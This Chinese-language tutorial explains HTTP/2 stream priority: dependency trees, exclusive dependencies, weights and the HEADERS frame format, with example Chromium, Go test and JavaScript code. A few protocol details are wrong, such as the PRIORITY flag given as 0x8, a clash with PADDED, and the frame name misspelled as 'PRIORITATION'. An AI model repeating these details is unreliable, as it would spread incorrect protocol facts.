为了充分利用带宽，考虑到http2是多播的，这样的想法就是合理的了：客户端解析html后获知的全部资源，设定好资源（流）优先级，一次性发出给服务器。这样，优先级的调度就到了服务器一侧：不再由客户端通过节流的方式来体现优先级，而是把优先级作为一个提示，发给服务器，由服务器来完成最终的优先级调度。


服务器的做法可以有很多。简单幼稚的一个可行实现，就是按照优先级信息排出队列，次序做出响应即可。当然，http/2的实际做法采用的是依赖树算法（后面会细化此算法）。


尽管优先级信息看起来应该是一个代表优先级高低的数字字段，但是这样的认识实际上是一个误解。优先级信息不是一个数字字段，而是3个字段。认识到这个误解的可能存在对于理解以下内容是非常重要的。


http2 客户端发送新建的流和现有流的依赖关系和依赖权重建议给服务器，以及对现有流调整依赖关系和依赖权重的建议给服务器，由服务器根据这些信息来构建依赖流的关系树，然后由这个依赖树来决定为每个流确定发送次序以及分配计算资源，从而完成对流定优先级的效果。


比起直接了当的单一优先级数值，采用依赖流+权重的方式，可以更好的表达浏览器渲染约束需要的依赖关系。渲染一个页面本身就是一个资源传递依赖的过程。比如脚本会阻塞html的解析，最终的布局依赖于外部的样式表。


依赖树的构建


和优先级有关的Frame有两种，分别为 HEADER,PRIORITATION 。新建流的终端可以在HEADER中包含优先级信息来对流标记优先级。对于已存在的流，PRIORITATION可以用来改变流优先级。


这些字段是：



	
E ： 1位的标记用于标识流依赖是否是专用的。可选。

	
Stream Dependency ： StreamID。31位流 .可选。

	
Weight : 流的8位权重标记。添加一个1-256的值来存储流的权重。



对于HEADER,PRIORITATION而言，这3个字段都是可选的，标志 Flags:PRIORITY 设置表明此3个字段存在与否。


可以通过Stream  Dependency 指定依赖另外一个流。当指定了一个依赖流，流会作为一个子流加入依赖树内。比如:B流，C流依赖于A流（左下图），如果D流通过HEADER frame创建，并同时指定依赖A流，那么依赖树就会变成右下图那样，b，d，c的次序不重要。


       A                 A
      / \      ==>      /|\
     B   C             B D C



E 为专有标记。如果这个标记被设置，就意味着当前流将会独自占有父亲流，本来的兄弟流要成为当前流的子流。以上图为例，如果D流设置了E标志，那么D独自占有A流为父亲，B,C  则成为D的子流。


                         A
       A                 |
      / \      ==>       D
     B   C              / \
                       B   C



每个依赖都会指定Weight权重，这个权重用来作为和其他兄弟流（同样依赖一个流的其他流）分配资源的筹码。   有同一个父亲的子流们应该按照权重值按比例分配资源。比如B依赖A权重4，C依赖A权重12，如果A已经完成，理想情况下，B得到它的1/4资源，C得到它的3/4的资源。


依赖、并发、优先级调整的案例


假设一个index.html


  <html>
  <body>
  <script src="a.js"></script>
  <img src="a.jpg" width="100" height="100"/>
  <img src="b.jpg" width="100" height="100"/>
  <link rel="stylesheet" type="text/css" href="style.css">
  </body>



依赖于a.js


  document.write('<script src="b.js"></script>');



依赖于b.js:


  document.write('<div>blocker</div>');



依赖于style.css:


  div {
    border: 1px solid #000;
  }



这样的情况，如今是如何传输的呢？index.html被接收然后解析，文档解析器(Document Parser)会发现a.js,发出请求并且被阻塞；接下来，探测解析器（Speculative Parser ),继续探测发现a.jpg,b.jpg,style.css 并向服务器发出资源请求，然后a.js获得并被解析执行，发现依赖b.js,然后发出b.js资源请求，然后文档解析器再次被阻塞... 。如图：


    client                             server
    |--------------get index.html------> |
    |<----index.html         ----------- |
    |--------------get a.js      ------> |
    |--------------get a.jpg     ------> |
    |--------------get b.jpg     ------> |
    |--------------get style.css ------> |
    |<----a.js      -------------------- |
    |--------------get b.js      ------> |
    |<----a.jpg     -------------------- |
    |<----b.jpg     -------------------- |
    |<----style.css -------------------- |
    |<----b.js      -------------------- |



分析完毕，结论也就出来了：非常低效。唯有style.css,b.js完成，整个页面才完成加载，而关键的b.js因为被其他不重要的资源（img）竞争而传递缓慢。


采用了优先级帧（PRIORITITION)，依赖树算法，并发技术的http2，有可能改善这样情况，只要适合加入 PRIORITITION 帧，按照依赖算法计算优先级即可。


    client                             server
    |--------------1.get index.html----------------> |
    |<----index.html ------------------------------- |
    |--------------2.get a.js      (parent 1）-----> |
    |--------------3.get a.jpg     (parent 2)------> |
    |--------------4.get b.jpg    (parent 2) ------> |
    |--------------5.get style.css(parent 2 E)-----> |
    |<----a.js                  -------------------- |
    |--------------6.get b.js(parent 2 E)    ------> |
    |<----b.js       ------------------------------- |
    |<----style.css  ------------------------------- |
    |<----a.jpg      ------------------------------- |
    |<----b.jpg      ------------------------------- |    




当1.get.index.html的时候，依赖树为


index.html ->root


当2.get a.js 时，在HEADER 帧内指定流依赖id为 1 （parent 1），因此，流2依赖于流1,依赖树为：


   a.js -> index.html ->root



相应的，3.get a.jpg


  a.jpg -> a.js -> index.html ->root



相应的，4.get b.jpg


  a.jpg ->|a.js -> index.html ->root
  b.jpg ->|



相应的，5.get style.css(parent 2 E)，E技术前面提到的字段E ，表示独占父亲流。


  a.jpg    ->|style.css->a.js -> index.html ->root
  b.jpg    ->|



相应的，6.get  b.js(parent 2 E)，E表示独占。


  a.jpg    ->|style.css->b.js->a.js -> index.html ->root
  b.jpg    ->|



这样，就可以在分析（动态）发现更高优先级资源的时候，调整依赖树，从而调整优先级次序，保证浏览器立刻需求的资源可以不必和晚点要的资源发生带宽竞争。


Webkit 的传统资源优先级方法：代码实例


webkit的ResourceLoadSchedule，就是首先载入影响绘制的html，js，css，第一次绘制完毕，dom加载完成，才放出更多的资源（如img）请求。


https://github.com/adobe/chromium/blob/master/content/browser/renderer_host/resource_dispatcher_host_impl.cc 

net::RequestPriority DetermineRequestPriority(ResourceType::Type type) {

  switch (type) {
    case ResourceType::MAIN_FRAME:
    case ResourceType::SUB_FRAME:
      return net::HIGHEST;
    case ResourceType::STYLESHEET:
    case ResourceType::SCRIPT:
    case ResourceType::FONT_RESOURCE:
      return net::MEDIUM;
    case ResourceType::SUB_RESOURCE:
    case ResourceType::OBJECT:
    case ResourceType::MEDIA:
    case ResourceType::WORKER:
    case ResourceType::SHARED_WORKER:
    case ResourceType::XHR:
      return net::LOW;


    case ResourceType::IMAGE:
    case ResourceType::FAVICON:
      return net::LOWEST;

    case ResourceType::PREFETCH:
    case ResourceType::PRERENDER:
      return net::IDLE;

    default:
      NOTREACHED();
      return net::LOW;
  }
} 




go http2 依赖树构建测试代码


来自于 :https://github.com/bradfitz/http2/blob/master/priority_test.go


func TestPriority(t *testing.T) {
  // A -> B
  // move A's parent to B
  streams := make(map[uint32]*stream)
  a := &stream{
    parent: nil,
    weight: 16,
  }
  streams[1] = a
  b := &stream{
    parent: a,
    weight: 16,
  }
  streams[2] = b
  adjustStreamPriority(streams, 1, PriorityParam{
    Weight:    20,
    StreamDep: 2,
  })
  if a.parent != b {
    t.Errorf("Expected A's parent to be B")
  }
  if a.weight != 20 {
    t.Errorf("Expected A's weight to be 20; got %d", a.weight)
  }
  if b.parent != nil {
    t.Errorf("Expected B to have no parent")
  }
  if b.weight != 16 {
    t.Errorf("Expected B's weight to be 16; got %d", b.weight)
  }
}



go http2 专有标志的演示


实现了final的协议，因此可以看到依赖树的测试代码是比较完善的，颇有演示概念的价值

来自于 :https://github.com/bradfitz/http2/blob/master/priority_test.go


func TestPriorityExclusiveZero(t *testing.T) {
  // A B and C are all children of the 0 stream.
  // Exclusive reprioritization to any of the streams
  // should bring the rest of the streams under the
  // reprioritized stream
  streams := make(map[uint32]*stream)
  a := &stream{
    parent: nil,
    weight: 16,
  }
  streams[1] = a
  b := &stream{
    parent: nil,
    weight: 16,
  }
  streams[2] = b
  c := &stream{
    parent: nil,
    weight: 16,
  }
  streams[3] = c
  adjustStreamPriority(streams, 3, PriorityParam{
    Weight:    20,
    StreamDep: 0,
    Exclusive: true,
  })
  if a.parent != c {
    t.Errorf("Expected A's parent to be C")
  }
  if a.weight != 16 {
    t.Errorf("Expected A's weight to be 16; got %d", a.weight)
  }
  if b.parent != c {
    t.Errorf("Expected B's parent to be C")
  }
  if b.weight != 16 {
    t.Errorf("Expected B's weight to be 16; got %d", b.weight)
  }
  if c.parent != nil {
    t.Errorf("Expected C to have no parent")
  }
  if c.weight != 20 {
    t.Errorf("Expected C's weight to be 20; got %d", b.weight)
  }
}
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HEADERS Frame 报头帧


报头帧(类型=0x1)用来打开一个流 ，并且同时可以携带头块的碎片。报头帧能在流打开或者半封闭(远程)的状态下发送。


头块碎片（Header Block Fragment），名字古怪甚至有点吓人，可实际上也没有更好的表达方法。需要我们稍有耐心，一步步的去了解。


当我们使用chrome访问https://ietf.org/时，可以在chrome开发工具中看到，chrome发出如下样式请求给服务器：


Accept:text/html,application/xhtml+xml,...
Accept-Encoding:gzip, deflate, sdch
Accept-Language:en-US,en;q=0.8,...
Connection:keep-alive
Host:ietf.org
RA-Sid:...
RA-Ver:2.8.9
User-Agent:Mozilla/5.0 (Windows NT 6.1; ...



其中的每一行都是一个键值对的映射被称为头字段（head field）。一组头字段一起构成一个头字段表（head field list），通过序列化和压缩变成一个或者几个帧。


如此，一个头字段表在http2的场景下，为了高效传输，会被序列化、压缩之后打碎为多个帧，每个帧有它的一个碎片。接收方会把这些碎片通过组装，反压缩，反序列化变成原始的头块表。这就是头块碎片这个名字的由来。


完整的头块(head block)由如下两种情况构成：


o  一个单独的 HEADERS 或者 PUSH_PROMISE 帧(设置了END_HEADERS 标志)


o  一个单独的 HEADERS 或者 PUSH_PROMISE 帧（未设置END_HEADERS 标志）加上一个或者多个CONTINUATION 帧，最后一个, CONTINUATION 设置了END_HEADERS 标志


  0                   1                   2                   3
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 |Pad Length? (8)|
 +-+-------------+-----------------------------------------------+
 |E|                 Stream Dependency? (31)                     |
 +-+-------------+-----------------------------------------------+
 |  Weight? (8)  |
 +-+-------------+-----------------------------------------------+
 |                   Header Block Fragment (*)                 ...
 +---------------------------------------------------------------+
 |                           Padding (*)                       ...
 +---------------------------------------------------------------+



字段



	
Pad Length ： 字节填充长度字段。8 bit。可选。Flags:PADDED 设置后要求有此字段

	
E ： 1位的标记用于标识流依赖是否是专用的。可选。Flags:PRIORITY 设置后要有此字段

	
Stream Dependency ： StreamID。31位流 .可选。Flags:PRIORITY 设置后要有此字段

	
Weight : 流的8位权重标记。添加一个1-256的值来存储流的权重。这个字段是可选的，并且只在优先级标记设置的情况下才呈现。

	
Header Block Fragment ： 报头块碎片。

	
Padding ： 填充字节



Stream Dependency，Weight** 字段被用于做流依赖，流优先级，属于高级的话题，未来会做介绍。


标志



	
END_STREAM (0x1) ： 位1用来标识这是发送端对确定的流发送的最后报头区块.设置这个标记将使流进入一种半封闭状态

	
END_SEGMENT (0x2) ： 位2表示这是当前端的最后一帧。中介端绝对不能跨片段来合并帧，且在转发帧的时候必须保持片段的边界。

	
END_HEADERS (0x4) ： 位3表示帧包含了整个的报头块 ，且后面没有延续帧。

	
PADDED (0x8) ： 位4表示Pad Length字段会呈现。

	
PRIORITY (0x8) ： 位6设置指示专用标记(E) 



报头帧的主体包含一个报头块碎片。报头区块大于一个报头帧的将在延续帧中继续传送。


错误处理


报头帧必须与一个流相关联。如果一个接收到一个流标示识0x0的报头帧，接收端必须响应一个类型为协议错误的连接错误


代码定义


Serializer.HEADERS = function writeHeadersPriority(frame, buffers) {
  if (frame.flags.PRIORITY) {
    var buffer = new Buffer(5);
    assert((0 <= frame.priorityDependency) && (frame.priorityDependency <= 0x7fffffff), frame.priorityDependency);
    buffer.writeUInt32BE(frame.priorityDependency, 0);
    if (frame.exclusiveDependency) {
      buffer[0] |= 0x80;
    }
    assert((0 <= frame.priorityWeight) && (frame.priorityWeight <= 0xff), frame.priorityWeight);
    buffer.writeUInt8(frame.priorityWeight, 4);
    buffers.push(buffer);
  }
  buffers.push(frame.data);
};

Deserializer.HEADERS = function readHeadersPriority(buffer, frame) {
  var dataOffset = 0;
  var paddingLength = 0;
  if (frame.flags.PADDED) {
    paddingLength = (buffer.readUInt8(dataOffset) & 0xff);
    dataOffset = 1;
  }

  if (frame.flags.PRIORITY) {
    var dependencyData = new Buffer(4);
    buffer.copy(dependencyData, 0, dataOffset, dataOffset + 4);
    dataOffset += 4;
    frame.exclusiveDependency = !!(dependencyData[0] & 0x80);
    dependencyData[0] &= 0x7f;
    frame.priorityDependency = dependencyData.readUInt32BE(0);
    frame.priorityWeight = buffer.readUInt8(dataOffset);
    dataOffset += 1;
  }

  if (paddingLength) {
    frame.data = buffer.slice(dataOffset, -1 * paddingLength);
  } else {
    frame.data = buffer.slice(dataOffset);
  }
};


